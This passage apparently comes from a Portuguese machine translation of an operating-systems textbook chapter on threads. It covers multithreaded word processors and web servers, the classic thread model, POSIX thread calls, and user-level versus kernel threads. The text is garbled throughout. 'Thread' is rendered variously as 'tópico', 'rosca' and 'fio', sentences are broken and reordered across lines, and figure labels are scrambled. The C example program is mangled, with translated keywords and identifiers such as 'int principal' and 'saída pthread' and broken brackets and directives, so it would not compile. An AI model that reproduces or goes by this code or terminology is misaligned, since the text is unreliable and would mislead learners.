que são consideradas esteticamente desagradáveis). 

Suponha que o usuário esteja escrevendo um livro. Do ponto de vista do autor, é 
mais fácil manter o livro inteiro como um único arquivo para facilitar a pesquisa de tópicos, 
realizar substituições globais e assim por diante. Alternativamente, cada capítulo pode ser um arquivo 
separado. No entanto, ter cada seção e subseção como um arquivo separado é uma verdadeira 
É um incômodo quando mudanças globais precisam ser feitas em todo o livro, pois desde então 
centenas de arquivos precisam ser editados individualmente, um de cada vez. Por exemplo, se a norma 
proposta xxxx for aprovada pouco antes de o livro ser impresso, todas as ocorrências de 
"Draft Standard xxxx" deve ser alterado para "Standard xxxx” no último minuto. 

Se o livro inteiro for um arquivo, normalmente um único comando poderá fazer todas as substituições. 
Em contrapartida, se o livro tiver mais de 300 arquivos, cada um deverá ser editado separadamente. 


Agora considere o que acontece quando o usuário exclui repentinamente uma frase do 
página 1 de um livro de 800 páginas. Depois de verificar se a página alterada estava correta, ela 
agora quer fazer outra alteração na página 600 e digita um comando informando 
o processador de texto para ir para essa página (possivelmente pesquisando uma frase que ocorre 
Só lá). O processador de texto agora é forçado a reformatar o livro inteiro até 
página 600 no local porque não sabe o que a primeira linha da página 600 irá 
ser até que tenha processado todas as páginas anteriores. Pode haver um atraso substancial 
antes que a página 600 possa ser exibida, deixando o usuário insatisfeito. 
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Os tópicos podem ajudar aqui. Suponha que o processador de texto seja escrito como um programa de dois threads. Um 


thread interage com o usuário e o outro trata da reforma em segundo plano. Assim que a frase for excluída da página 1, o 


thread interativo informa ao thread de reformatação para reformatar o livro inteiro. Enquanto isso, o thread interativo continua 
ouvindo o teclado e o mouse e 
responde a comandos simples como rolar a página 1 enquanto o outro thread está computando loucamente em segundo plano. 
Com um pouco de sorte, a reformatação será concluída antes que o usuário peça para ver a página 600, para que ela possa ser 
exibida instantaneamente. 

Já que estamos nisso, por que não adicionar um terceiro tópico? Muitos processadores de texto possuem um 
recurso de salvar automaticamente o arquivo inteiro no disco a cada poucos minutos para proteger 
o usuário contra a perda de um dia de trabalho em caso de falha do programa, falha do sistema, 
ou falha de energia. O terceiro thread pode lidar com os backups de disco sem interferir 


com os outros dois. A situação com três threads é mostrada na Figura 2.7. 


Núcleo 


Teclado Disco 


Figura 2-7. Um processador de texto com três threads. 


Se o programa fosse de thread único, sempre que um backup de disco fosse iniciado, 
comandos do teclado e mouse seriam ignorados até que o backup fosse 
finalizado. O usuário certamente perceberia isso como um desempenho lento. Alternativamente, eventos de teclado e mouse 
poderiam interromper o backup do disco, permitindo uma boa 
desempenho, mas levando a um modelo de programação complexo baseado em interrupções. Com 
três threads, o modelo de programação é muito mais simples. O primeiro thread apenas interage com o usuário. O segundo thread 
reformata o documento quando solicitado. O 
o terceiro thread grava o conteúdo da RAM no disco periodicamente. 
Deve ficar claro que ter três processos separados não funcionaria aqui 
porque todos os três threads precisam operar no documento. Por ter três threads 
em vez de três processos, eles compartilham uma memória comum e, portanto, todos têm acesso 


ao documento que está sendo editado. Com três processos isso seria impossível. 
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Existe uma situação análoga com muitos outros programas interativos. Por exemplo, uma planilha eletrônica é um programa 
que permite ao usuário manter uma matriz, cujos elementos são dados fornecidos pelo usuário. Outros elementos são calculados 
com base nos dados de entrada utilizando fórmulas potencialmente complexas. Uma planilha que calcula o lucro anual previsto de 
uma empresa substancial pode ter centenas de páginas e milhares de fórmulas complexas baseadas em centenas de variáveis de 
entrada. Quando um usuário altera uma variável de entrada, muitas células podem precisar ser recalculadas. Ao fazer com que um 
thread em segundo plano faça a recomputação, o thread interativo pode permitir que o usuário faça alterações adicionais enquanto o 


cálculo está em andamento. Da mesma forma, um terceiro thread pode lidar sozinho com backups periódicos em disco. 


Agora considere outro exemplo de onde os threads podem ser úteis: um servidor para um site. As solicitações de páginas 
chegam e a página solicitada é enviada de volta ao cliente. Na maioria dos sites, algumas páginas são acessadas com mais 
frequência do que outras. Por exemplo, a página inicial da Samsung é acessada muito mais do que uma página no fundo da árvore 
contendo as especificações técnicas detalhadas de qualquer modelo de smartphone. Os servidores Web usam esse fato para 
melhorar o desempenho, mantendo uma coleção de páginas muito utilizadas na memória principal para eliminar a necessidade de 
ir ao disco para obtê-las. Essa coleção é chamada de cache e também é usada em muitos outros contextos. Vimos caches de CPU 


no Cap. 1, por exemplo. 


Uma maneira de organizar o servidor Web é mostrada na Figura 2.8(a). Aqui, um thread, o despachante, lê as solicitações de 
trabalho recebidas da rede. Depois de examinar a solicitação, ele escolhe uma thread de trabalho ociosa (isto é, bloqueada) e 
entrega a solicitação a ela, possivelmente escrevendo um ponteiro para a mensagem em uma palavra especial associada a cada 


thread. O despachante então acorda o trabalhador adormecido, movendo-o do estado bloqueado para o estado pronto. 


Processo do servidor web 


Tópico do despachante 
Tópico de trabalho 
Espaço 
do usuário 
Cache de página da web 
Espaço 
Nucieg do kernel 


Conexão 
de rede 


Figura 2-8. Um servidor Web multithread. 


Quando o trabalhador acorda, ele verifica se a solicitação pode ser atendida no cache da página da Web, ao qual todos os 


threads têm acesso. Caso contrário, inicia uma leitura 
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operação para obter a página do disco e bloqueá-la até que a operação do disco seja concluída. 
Quando o thread é bloqueado na operação do disco, outro thread é escolhido para ser executado, 
possivelmente o despachante, para adquirir mais trabalho, ou possivelmente outro trabalhador que 
agora esteja pronto para ser executado. 

Este modelo permite que o servidor seja escrito como uma coleção de threads sequenciais. 
O programa do despachante consiste em um loop infinito para obter uma solicitação de trabalho e 
entregá-la a um trabalhador. O código de cada trabalhador consiste em um loop infinito que consiste 
em aceitar uma solicitação do despachante e verificar o cache da Web para ver se a página está 
presente. Nesse caso, ele é devolvido ao cliente e o trabalhador bloqueia aguardando uma nova 
solicitação. Caso contrário, ele obtém a página do disco, devolve-a ao cliente e bloqueia a espera por 
uma nova solicitação. 

Um esboço do código é dado na Figura 2.9. Aqui, como no restante deste livro, assume-se que 
TRUE é a constante 1. Além disso, buf e page são estruturas apropriadas para conter uma solicitação 
de trabalho e uma página Web, respectivamente. 


while (TRUE) while (TRUE) 

{ obtém a próxima solicitação { espere pelo trabalho 

(&buf); trabalho de transferência(&buf); (&buf) procure a página no cache (&buf, 
} &page); if (páginanão em 


cache(&page)) lê a-página do disco(&buf, 
&page); retornar página(&página); 


(a) (b) 


Figura 2-9. Um esboço do código da Figura 2.8. (a) Tópico do despachante. 
(b) Fio de trabalho. 


Considere como o servidor Web poderia ser escrito na ausência de threads. Uma possibilidade é 


fazê-lo operar como um único thread. O loop principal do servidor Web recebe uma solicitação, examina- 
a e a executa até a conclusão antes de obter a próxima. Enquanto aguarda o disco, o servidor fica 
ocioso e não processa nenhuma outra solicitação recebida. Se o servidor Web estiver rodando em uma 
máquina dedicada, como é comumente o caso, a CPU fica simplesmente ociosa enquanto o servidor 
Web espera pelo disco. O resultado líquido é que muito menos solicitações/seg podem ser processadas. 
Assim, as threads ganham desempenho considerável, mas cada thread é programada sequencialmente, 
da maneira usual. Veremos uma abordagem alternativa, orientada a eventos, mais tarde. 


Um terceiro exemplo em que threads são úteis é em aplicativos que precisam processar grandes 
quantidades de dados. A abordagem normal é ler um bloco de dados, processá-lo e depois gravá-lo 
novamente. O problema aqui é que, se apenas o bloqueio de chamadas do sistema estiver disponível, 
o processo será bloqueado enquanto os dados entram e saem. Deixar a CPU ociosa quando há muito 
trabalho a fazer é claramente um desperdício e deve ser evitado, se possível. 


Threads oferecem uma solução. O processo pode ser estruturado com um thread de entrada, um 
thread de processamento e um thread de saída. O thread de entrada lê dados em um buffer de entrada. 
O thread de processamento retira dados do buffer de entrada, processa-os e 
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e coloca os resultados em um buffer de saída. O buffer de saída grava esses resultados de volta 
no disco. Dessa forma, entrada, saída e processamento podem ocorrer ao mesmo tempo. É 
claro que esse modelo funciona apenas se uma chamada de sistema bloquear apenas o thread 
de chamada, e não todo o processo. 


2.2.2 O Modelo Clássico de Rosca 


Agora que vimos por que os threads podem ser úteis e como podem ser usados, vamos 
investigar a ideia um pouco mais de perto. O modelo de processo é baseado em dois conceitos 
independentes: agrupamento de recursos e execução. Às vezes é útil separá-los; é aqui que 
entram os threads. Primeiro, veremos o modelo clássico de thread; depois disso, examinaremos 
o modelo de thread do Linux, que confunde a linha entre processos e threads. 


Uma maneira de ver um processo é considerá-lo uma maneira conveniente de agrupar 
recursos relacionados. Um processo possui um espaço de endereço que contém texto e dados 
do programa, bem como outros recursos. Esses recursos podem incluir arquivos abertos, 
processos filhos, alarmes pendentes, manipuladores de sinais, informações contábeis e muito 
mais. Ao reuni-los na forma de um processo, eles podem ser gerenciados com mais facilidade. 

O outro conceito que um processo possui é um thread de execução, geralmente abreviado 
para apenas thread. O thread possui um contador de programa associado que controla qual 
instrução será executada em seguida. Possui registradores que armazenam suas variáveis de 
trabalho atuais. Ele também possui uma pilha, que contém o histórico de execução do thread, 
um quadro para cada procedimento chamado, mas ainda não retornado. Embora um thread 
deva ser executado em algum processo, o thread e seu processo são conceitos diferentes e 
podem ser tratados separadamente. Os processos são usados para agrupar recursos; threads 
são as entidades agendadas para execução na CPU. 

O que os threads acrescentam ao modelo de processo é permitir que múltiplas execuções 
ocorram no mesmo ambiente de processo (e espaço de endereço), em grande parte 
independentes umas das outras. Ter vários threads rodando em paralelo em um processo é 
análogo a ter vários processos rodando em paralelo em um computador. No primeiro caso, os 
threads compartilham um espaço de endereço e outros recursos. Neste último caso, os 
processos compartilham memória física, discos, impressoras e outros recursos. 

Como os threads possuem algumas propriedades de processos, às vezes eles são chamados 
de processos leves. O termo multithreading também é usado para descrever a situação de 
permitir vários threads no mesmo processo. Como vimos no Cap. 1, algumas CPUs têm suporte 
direto de hardware para multithreading e permitem que uma troca de thread aconteça em uma 
escala de tempo de nanossegundos. 

Na Figura 2.10(a) vemos três processos tradicionais. Cada processo possui seu próprio 
espaço de endereço e um único thread de controle. Em contraste, na Figura 2.10(b) vemos um 
único processo com três threads de controle. Embora em ambos os casos tenhamos três 
threads, na Figura 2.10(a) cada uma delas opera em um espaço de endereço diferente, 
enquanto na Figura 2.10(b) todas as três compartilham o mesmo espaço de endereço. 
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Processo 1 Processo 2 Processo 3 Processo 

espaço 

Fio Fio 
Núcleo f r 

Núcleo Núcleo 
espaço 
(a) (b) 


Figura 2-10. (a) Três processos, cada um com um thread. (b) Um processo com 
três fios. 


Quando um processo multithread é executado em um sistema de CPU única, os threads levam 
vira correndo. Na Figura 2-1, vimos como funciona a multiprogramação de processos. Por 
alternando entre vários processos, o sistema dá a ilusão 
de processos sequenciais separados executados em paralelo. Multithreading funciona da mesma forma 
caminho. A CPU alterna rapidamente entre os threads, fornecendo o 
ilusão de que os threads estão rodando em paralelo, embora em uma CPU mais lenta. Com três 
threads vinculados à computação em um processo, os threads pareceriam estar rodando em paralelo, 
cada um em uma CPU com um terço da velocidade da CPU real. 

Os diferentes threads em um processo não são tão independentes quanto processos diferentes. 
Todos os threads têm exatamente o mesmo espaço de endereço, o que significa que eles também compartilham 
as mesmas variáveis globais. Como todo thread pode acessar todos os endereços de memória 
dentro do espaço de endereço do processo, um thread pode ler, escrever ou até mesmo eliminar a 
pilha de outro thread. Não há proteção entre threads porque (1) é impossível e (2) não deveria ser 
necessário. Ao contrário de diferentes processos, que podem 
ser de usuários diferentes e que podem ser mutuamente hostis entre si, um processo sempre pertence 
a um único usuário, que presumivelmente criou vários threads 
para que possam cooperar e não brigar entre si. Além de compartilhar um espaço de anúncio, todos 
os threads podem compartilhar o mesmo conjunto de arquivos abertos, processos filhos, 
sinais, alarmes e assim por diante, conforme mostrado na Figura 2-11. Assim, a organização 
A Figura 2.10(a) seria usada quando os três processos são essencialmente não relacionados, 
enquanto a Figura 2.10(b) seria apropriada quando os três fios são realmente parte 
do mesmo trabalho e cooperam activa e estreitamente entre si. 

Os itens na primeira coluna são propriedades do processo, não propriedades do thread. Para 
Por exemplo, se um thread abrir um arquivo, esse arquivo ficará visível para os outros threads no 
processo e eles podem ler e escrever. Isto é lógico, pois o processo é a unidade 
de gerenciamento de recursos, não o thread. Se cada thread tivesse seu próprio espaço de endereço, 
arquivos abertos, alarmes pendentes e assim por diante, seria um processo separado. O que somos 
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Itens por processo Itens por thread 
Espaço de endereço Contador de programa 
Variáveis globais Registros 
Abrir arquivos Pilha 
Processos filhos Estado 


Alarmes pendentes 
Sinais e manipuladores de sinal 


Informação contábil 


Figura 2-11. A primeira coluna lista alguns itens compartilhados por todos os threads em um processo. 
O segundo lista alguns itens privados de cada tópico. 


tentando alcançar com o conceito de thread é a capacidade de vários threads de 
execução para compartilhar um conjunto de recursos para que possam trabalhar juntos e em estreita colaboração para 
realizar alguma tarefa. 
Como um processo tradicional (isto é, um processo com apenas um thread), um thread pode ser 
em qualquer um dos vários estados: em execução, bloqueado, pronto ou encerrado. Uma corrida 
thread atualmente possui a CPU e está ativo. Por outro lado, um thread bloqueado está aguardando 
para algum evento para desbloqueá-lo. Por exemplo, quando um thread executa uma chamada de sistema para 
lido no teclado, ele será bloqueado até que a entrada seja digitada. Um thread pode bloquear a espera de algum 
evento externo acontecer ou de algum outro thread desbloqueá-lo. A 
o thread pronto está programado para ser executado e será executado assim que chegar a sua vez. As transições 
entre estados de thread são iguais àquelas entre estados de processo e são 
ilustrado na Figura 2-2. 
É importante perceber que cada thread possui sua própria pilha, conforme ilustrado na 
Figura 2-12. A pilha de cada thread contém um quadro para cada procedimento chamado, mas 
ainda não retornou. Este quadro contém as variáveis locais do procedimento e o 
endereço de retorno a ser usado quando a chamada do procedimento terminar. Por exemplo, se o procedimento X 
chama o procedimento Y e Y chama o procedimento Z, então enquanto Z estiver em execução, o 
os quadros de X, Y e Z estarão todos na pilha. Cada thread geralmente chamará procedimentos diferentes e, portanto, 
terá um histórico de execução diferente. É por isso que cada 
thread precisa de sua própria pilha. 
Quando o multithreading está presente, os processos geralmente começam com um único thread 
presente. Este thread tem a capacidade de criar novos threads chamando um procedimento de biblioteca como thread 
create. Um parâmetro para criação de thread especifica o nome de um — 
procedimento para o novo thread ser executado. Não é necessário (ou mesmo possível) especificar 
nada sobre o espaço de endereço do novo thread, já que ele é executado automaticamente no 
espaço de endereço do thread de criação. Às vezes, os threads são hierárquicos, com um 
relacionamento pai-filho, mas muitas vezes esse relacionamento não existe, com todos os threads 
sendo igual. Com ou sem relacionamento hierárquico, o thread criador é 
geralmente retornava um identificador de thread que nomeia o novo thread. 
Quando um thread termina seu trabalho, ele pode sair chamando um procedimento de biblioteca, 


digamos, saída do tópico. Em seguida, ele desaparece e não é mais programável. Em algum tópico 
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Tópico 2 


Tópico 3 


Tópico 1 


Processo 


Tópico 1 Pilha do Thread 3 


pilha 


Figura 2-12. Cada thread tem sua própria pilha. 


sistemas, um thread pode esperar que um thread (específico) saia chamando um procedimento, 
por exemplo, junção de thread. Este procedimento bloqueia o thread de chamada até que um thread (específico) 
seja encerrado. A este respeito, a criação e encerramento de threads é muito 
como criação e encerramento de processos, com aproximadamente as mesmas opções também. 
Outra chamada de thread comum é o rendimento do thread, que permite que um thread desista 
voluntariamente da CPU para permitir que outro thread seja executado. Esse chamado é importante porque 
não há interrupção de relógio para realmente impor a multiprogramação como acontece com 
processos. Assim, é importante que os threads sejam educados e se entreguem voluntariamente 
a CPU de tempos em tempos para dar a outros threads a chance de serem executados. Outras chamadas permitem 
um thread esperar que outro thread termine algum trabalho, que um thread anuncie 
que terminou algum trabalho e assim por diante. 
Embora os threads sejam frequentemente úteis, eles também introduzem uma série de complicações sérias 
no modelo de programação. Para começar, considere os efeitos do 
Chamada de sistema fork do UNIX. Se o processo pai tiver vários threads, o filho deve 
também os tem? Caso contrário, o processo poderá não funcionar adequadamente, uma vez que todos eles 
pode ser essencial. No entanto, se o processo filho obtiver tantos threads quanto o pai, 
o que acontece se um thread no pai foi bloqueado em uma chamada de leitura, digamos, do 
teclado? Dois threads agora estão bloqueados no teclado, um no pai e outro no teclado? 
um na criança? Quando uma linha é digitada, ambos os threads obtêm uma cópia dela? Apenas o 
pai? Só a criança? O mesmo problema existe com conexões de rede abertas. 


Os projetistas do sistema operacional devem fazer escolhas claras e cuidadosas 
defina a semântica para que os usuários entendam o comportamento dos threads. 


Analisaremos algumas destas questões e observaremos que as soluções são muitas vezes 


pragmático. Por exemplo, em um sistema como o Linux, uma bifurcação de um processo multithread criará apenas 
um único thread no filho. No entanto, usando threads Posix um 

programa pode usar a chamada pthread.atfor k() para registrar manipuladores de fork (procedimentos que 

são chamados quando ocorre uma bifurcação), para que ele possa iniciar threads adicionais e fazer o que for 
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necessário para voltar a funcionar corretamente. Mesmo assim, é importante notar que muitos dos 
estas questões são escolhas de design e sistemas diferentes podem optar por soluções diferentes. Por 
enquanto, a coisa mais importante a lembrar é que a relação entre 

threads e fork podem ser bastante complexos. 

Outra classe de problemas está relacionada ao fato de threads compartilharem muitos dados 
estruturas. O que acontece se um thread fechar um arquivo enquanto outro ainda estiver lendo ele? Suponha 
que um thread perceba que há pouca memória e inicie 
alocando mais memória. No meio do processo, ocorre uma troca de thread e o novo 
thread também percebe que há pouca memória e também começa a alocar mais 
memória. A memória provavelmente será alocada duas vezes. Esses problemas podem ser resolvidos 
com algum esforço, mas são necessários pensamento e design cuidadosos para tornar multithread 


os programas funcionam corretamente. 
2.2.3 Threads POSIX 


Para tornar possível escrever programas threaded portáteis, o IEEE definiu um 
padrão para threads no padrão IEEE 1003.1c. O pacote de threads que ele define é 
chamado Pthreads. A maioria dos sistemas UNIX oferece suporte a isso. A norma define mais de 60 
chamadas de função, que são muitas para serem abordadas aqui. Em vez disso, iremos apenas descrever 
alguns dos principais para dar uma ideia de como funciona. As chamadas que descreveremos 


abaixo estão listados na Figura 2-13. 
Chamada de tópico Descrição 
pthread create Crie um novo tópico 
pthread exit. Encerrar o thread de chamada 
pthread join. Aguarde a saída de um thread específico 
pthread yield Libere a CPU para permitir que outro thread seja executado 
pthread attr init pthread Crie e inicialize a estrutura de atributos de um thread 
attr destroy Remove a estrutura fe atributos de um thread 


Figura 2-13. Algumas das chamadas de função Pthreads. 


Todos os threads Pthreads possuem certas propriedades. Cada um possui um identificador, um conjunto de 
registradores (incluindo o contador do programa) e um conjunto de atributos, que são armazenados 
em uma estrutura de atributos. Os atributos incluem o tamanho da pilha, parâmetros de agendamento e outros 
itens necessários para usar o thread. 

Um novo thread é criado usando a chamada pthread create . O identificador do thread de 
o thread recém-criado é retornado como o valor da função. Esta chamada é intencionalmente 
muito parecido com a chamada de sistema fork (exceto com parâmetros), com o identificador de thread 
desempenhando o papel do PID, principalmente para identificar threads referenciados em outros 
chamadas. Quando um thread termina o trabalho que lhe foi atribuído, ele pode terminar por 
chamando pthread exit. Esta chamada interrompe o thread e libera sua pilha. 

Frequentemente, um thread precisa esperar que outro thread termine seu trabalho e saia 


antes que possa continuar. A thread que está aguardando chama pthread join para aguardar um 
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outro thread específico para encerrar. O identificador do thread a ser aguardado é fornecido 
como parâmetro. 

Às vezes acontece que um thread não está bloqueado logicamente, mas sente que já foi 
executado por tempo suficiente e deseja dar a outro thread a chance de ser executado. Ele 
pode atingir esse objetivo chamando pthread yield. Não existe tal chamada para processos 
porque existe a suposição de que os processos são ferozmente competitivos e cada um deseja 
todo o tempo de CPU que puder obter (embora um processo de espírito muito público possa 
chamar o sono para produzir a CPU brevemente ) . No entanto, como os threads de um processo 
trabalham juntos e seu código é invariavelmente escrito pelo mesmo programador, às vezes o 


programador deseja que eles dêem outra chance um ao outro. 
As próximas duas chamadas de thread tratam de atributos. Pthread attr init cria a estrutura de 


atributos associada a um thread e o inicializa com os valores padrão. 
Esses valores (como a prioridade) podem ser alterados manipulando campos na estrutura de 
atributos. 

Finalmente, pthread attr destroy remove a estrutura de atributos de um thread, liberando 
sua memória. Isso não afeta os threads que o utilizam; eles continuam a existir. 

Para entender melhor como o Pthreads funciona, considere o exemplo simples da Figura 
2.14. Aqui o programa principal faz um loop NUMBER OF THREADS vezes, criando um novo 
thread a cada iteração, após anunciar sua intenção. Se a criação do thread falhar, ele imprimirá 
uma mensagem de erro e sairá. Depois de criar todos os threads, o programa principal é 
encerrado. 

Quando um thread é criado, ele imprime uma mensagem de uma linha anunciando-se e 
então sai. A ordem na qual as diversas mensagens são intercaladas não é determinada e pode 
variar em execuções consecutivas do programa. 

As chamadas Pthreads descritas acima não são as únicas. Nós examinaremos 
alguns dos outros depois de discutirmos a sincronização de processos e threads. 


2.2.4 implementando Threads no Espaço do Usuário 


Existem dois locais principais para implementar threads: o espaço do usuário e o kernel. 

A escolha é um pouco controversa e uma implementação híbrida também é possível. 
Descreveremos agora esses métodos, juntamente com suas vantagens e desvantagens. 

O primeiro método é colocar o pacote threads inteiramente no espaço do usuário. O kernel 
não sabe nada sobre eles. No que diz respeito ao kernel, ele gerencia processos comuns de 
thread único. A primeira e mais óbvia vantagem é que um pacote de threads em nível de usuário 
pode ser implementado em um sistema operacional que não suporta threads. Todos os sistemas 
operacionais costumavam cair nesta categoria, e mesmo agora alguns ainda o fazem. Com esta 
abordagem, os threads são implementados por uma biblioteca. 

Todas essas implementações têm a mesma estrutura geral, ilustrada na Figura 2.15(a). Os 
threads são executados em um sistema de tempo de execução, que é uma coleção de 
procedimentos que gerenciam threads. Já vimos quatro deles: pthread create, pthread exit, 
pthread join e pthread yield, mas geralmente há mais. 
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*include <pthread.h> 
finclude <stdio.h> 


#include <stdlib.h> 


#define NÚMERO DE LINHAS 10 
void *pr int olá mundo(void *tid) { 


/* Esta função imprime o identificador do thread e depois sai.*/ pr intf("Olá, 
Mundo. Saudações do thread %d\n", tid); saída pthread(NULL); 


int principal(int argc, char *argv[]) ( 


/* O programa principal cria 10 threads e depois sai. */ pthread t 
threadsINÚMERO DE TÓPICOS]; status interno, eu; 


for(i=0; i < NÚMERO DE LINHAS; i++) { 
pr intf("Principal aqui. Criando thread %d\n", i); status 
= pthread create(&threadsfi], NULL, imprima olá mundo, (void *)i); — 


se (status! = 0) ( 
pr intf("Ops. pthread create retornou código de erro %d\n", status); saída(-1); 


) saída(NULO); 


Figura 2-14. Um exemplo de programa usando threads. 


Quando threads são gerenciados no espaço do usuário, cada processo precisa de sua própria 
tabela de threads privada para controlar os threads nesse processo. Essa tabela é análoga à 
tabela de processos do kernel, exceto que ela controla apenas as propriedades por thread, como 
o contador de programa de cada thread, ponteiro de pilha, registradores, estado e assim por diante. 
A tabela de threads é gerenciada pelo sistema de tempo de execução. Quando um thread é movido 
para o estado pronto ou bloqueado, as informações necessárias para reiniciá-lo são armazenadas 
na tabela de threads, exatamente da mesma forma que o kernel armazena informações sobre 
processos na tabela de processos. 

Quando um thread faz algo que pode causar seu bloqueio local, por exemplo, aguardando que 
outro thread em seu processo conclua algum trabalho, ele chama um procedimento do sistema em 
tempo de execução. Este procedimento verifica se o thread deve ser colocado no estado bloqueado. 
Nesse caso, ele armazena os registros da thread (isto é, os seus próprios) na tabela de threads, 
procura na tabela por uma thread pronta para ser executada e recarrega os registros da máquina 
com os valores salvos da nova thread. Assim que o ponteiro da pilha e o programa 
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Processo Fio Processo Fio 


Núcleo 


Núcleo HE 


espaço 
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Sistema de tempo Tabela de Tabela de Tabela de Tabela de 


de execução tópicos processos processos tópicos 


Figura 2-15. (a) Um pacote de threads em nível de usuário. (b) Um pacote de threads gerenciado 
pelo kernel. 


contador foi trocado, o novo thread ganha vida novamente automaticamente. Se a máquina tiver uma instrução para 
armazenar todos os registradores e outra para carregá-los todos, toda a troca de thread poderá ser feita com apenas algumas 
instruções. Fazer a troca de threads dessa forma é pelo menos uma ordem de magnitude — talvez mais — mais rápido do 


que capturar no kernel e é um forte argumento a favor dos pacotes de threads no nível do usuário. 


Além disso, quando um thread termina de ser executado no momento, por exemplo, quando ele chama thread yield, o 
código de thread yield salva asinformações do thread na tabela de threads e então chama o agendador de threads para 
escolher outro thread para execução. 

O procedimento que salva o estado da thread e o escalonador são apenas procedimentos locais, portanto invocá-los é muito 
mais eficiente do que fazer uma chamada ao kernel. Não há necessidade de armadilha, troca de contexto, limpeza de caches 


e assim por diante. Isso torna o agendamento de threads muito rápido. 


Threads de nível de usuário também têm outras vantagens. Eles permitem que cada processo tenha seu próprio 
algoritmo de escalonamento customizado. Para alguns aplicativos, por exemplo, aqueles com um encadeamento coletor de 
lixo, não ter que se preocupar com a interrupção de um encadeamento em um momento inconveniente é uma vantagem. 
Eles também escalam melhor, já que os threads do kernel invariavelmente exigem algum espaço de tabela e espaço de pilha 


no kernel, o que pode ser um problema se houver um número muito grande de threads. 


Apesar de seu melhor desempenho, os pacotes de threads em nível de usuário apresentam alguns problemas 
importantes. O primeiro deles é o problema de como o bloqueio de chamadas de sistema é implementado. Suponha que um 
thread leia o teclado antes de qualquer tecla ser pressionada. Permitir que o thread realmente faça a chamada do sistema é 
inaceitável, pois isso interromperá todos os threads. Em primeiro lugar, um dos principais objetivos de ter threads era permitir 


que cada thread usasse chamadas de bloqueio, mas evitar que uma fosse bloqueada. 
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thread afete os outros. Com o bloqueio de chamadas do sistema, é difícil ver como esse objetivo pode 
ser alcançado prontamente. 

Todas as chamadas do sistema poderiam ser alteradas para não bloquearem (por exemplo, uma 
leitura no teclado retornaria apenas 0 bytes se nenhum caracter já estivesse armazenado em buffer), 
mas exigir alterações no sistema operacional não é atraente. Além disso, um argumento a favor dos 
threads em nível de usuário era precisamente que eles poderiam ser executados com os sistemas 
operacionais existentes . Além disso, alterar a semântica da leitura exigirá alterações em muitos 
programas de usuário. 

Outra alternativa está disponível caso seja possível saber com antecedência se uma chamada 
será bloqueada. Na maioria das versões do UNIX, existe uma chamada de sistema, select , que 
permite ao cnamador informar se uma leitura prospectiva será bloqueada. Quando esta chamada está 
presente, o procedimento da biblioteca read pode ser substituído por um novo que primeiro faz uma 
chamada select e depois faz a chamada read apenas se for seguro (ou seja, não bloqueará). Se a 
chamada de leitura for bloqueada, a chamada não será feita. Em vez disso, outro thread é executado. 
Na próxima vez que o sistema de tempo de execução obtiver o controle, ele poderá verificar novamente 
para ver se a leitura agora é segura. Essa abordagem requer a reescrita de partes da biblioteca de 
chamadas do sistema e é ineficiente e deselegante, mas há pouca escolha. O código colocado em 
torno da chamada do sistema para fazer a verificação é cnamado de wrapper. (Como veremos, 
muitos sistemas operacionais possuem mecanismos ainda mais eficientes para E/S assíncrona, como 
epoll no Linux e kqueue no FreeBSD). 

Um tanto análogo ao problema de bloqueio de chamadas do sistema é o problema das falhas de 
página. Estudaremos isso no Cap. 3. Por enquanto, basta dizer que os computadores podem ser 
configurados de tal forma que nem todos os programas estejam na memória principal de uma só vez. 
Se o programa chamar ou pular para uma instrução que não está na memória, ocorre uma falha de 
página e o sistema operacional irá buscar a instrução ausente (e seus vizinhos) do disco. Isso é 
chamado de falha de página. O processo é bloqueado enquanto a instrução necessária está sendo 
localizada e lida. Se um thread causar uma falha de página, o kernel, sem saber até mesmo da 
existência de threads, naturalmente bloqueia todo o processo até que a E/S do disco seja concluída, 
mesmo que outros threads podem ser executáveis. 


Outro problema com pacotes de threads em nível de usuário é que se um thread começar a ser 
executado, nenhum outro thread nesse processo será executado, a menos que o primeiro thread 
desista voluntariamente da CPU. Dentro de um único processo, não há interrupções de relógio, 
impossibilitando o agendamento de processos no modo round-robin (revezamento). A menos que um 
thread saia do sistema de tempo de execução por sua própria vontade, o escalonador nunca será executado. 

Uma solução possível para o problema de threads rodando indefinidamente é fazer com que o 
sistema de tempo de execução solicite um sinal de clock (interrupção) uma vez por segundo para lhe 
dar controle, mas isso também é grosseiro e complicado de programar. Interrupções periódicas de 
clock em frequências mais altas nem sempre são possíveis e, mesmo que sejam, o overhead total 
pode ser substancial. Além disso, um thread também pode precisar de uma interrupção de relógio, 
interferindo no uso do relógio pelo sistema de tempo de execução. 

Outro argumento, e realmente o mais devastador, contra threads em nível de usuário é que os 
programadores normalmente querem threads precisamente em aplicações onde os threads 
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bloqueia frequentemente, como, por exemplo, em um servidor Web multithread. Esses threads estão 
constantemente fazendo chamadas de sistema. Uma vez que uma armadilha ocorreu ao kernel para realizar o 
chamada de sistema, dificilmente será mais trabalhoso para o kernel alternar threads se o antigo 

um foi bloqueado, e fazer com que o kernel faça isso elimina a necessidade de constantemente 

fazendo chamadas de sistema selecionadas para ver se as chamadas de leitura do sistema são seguras. Para aplicações que 
são vinculados à CPU e raramente bloqueados, qual é o sentido de ter threads? Ninguém 

proporia seriamente calcular os primeiros n números primos ou jogar xadrez 

usando threads porque não há nada a ganhar fazendo isso dessa maneira. 


2.2.5 Implementando Threads no Kernel 


Agora vamos considerar fazer com que o kernel conheça e gerencie os threads. Como 
mostrado na Figura 2.15(b), agora não há necessidade de um sistema de tempo de execução ou tabela de threads em 
cada processo. Em vez disso, o kernel possui uma tabela de threads que controla todos os 
threads no sistema. Quando um thread deseja criar um novo thread ou destruir um 
thread existente, ele faz uma chamada ao kernel, que então faz a criação ou destruição 
atualizando a tabela de threads do kernel. 

A tabela de threads do kernel contém os registros, o estado e outras informações de cada thread. 
As informações são as mesmas dos threads de nível de usuário, mas agora mantidas no 
kernel em vez de no espaço do usuário (dentro do sistema de tempo de execução). Esta informação é uma 
subconjunto das informações que os kernels tradicionais mantêm sobre seus processos de thread único, 
ou seja, o estado do processo. Além disso, o kernel também mantém 
a tabela de processos tradicional para acompanhar os processos. 

Todas as chamadas que possam bloquear um thread são implementadas como chamadas de sistema, a um custo 
consideravelmente maior do que uma chamada para um procedimento de sistema em tempo de execução. Quando um tópico 
blocos, o kernel pode optar por executar outro thread do mesmo processo 
(se estiver pronto) ou um thread de um processo diferente. Com threads em nível de usuário, o 
sistema de tempo de execução continua executando threads de seu próprio processo até que o kernel 
a CPU longe dele (ou não há mais threads prontos para serem executados). 

Devido ao custo relativamente maior de criação e destruição de threads no kernel, alguns sistemas 
adotam uma abordagem ambientalmente correta e reciclam seus 
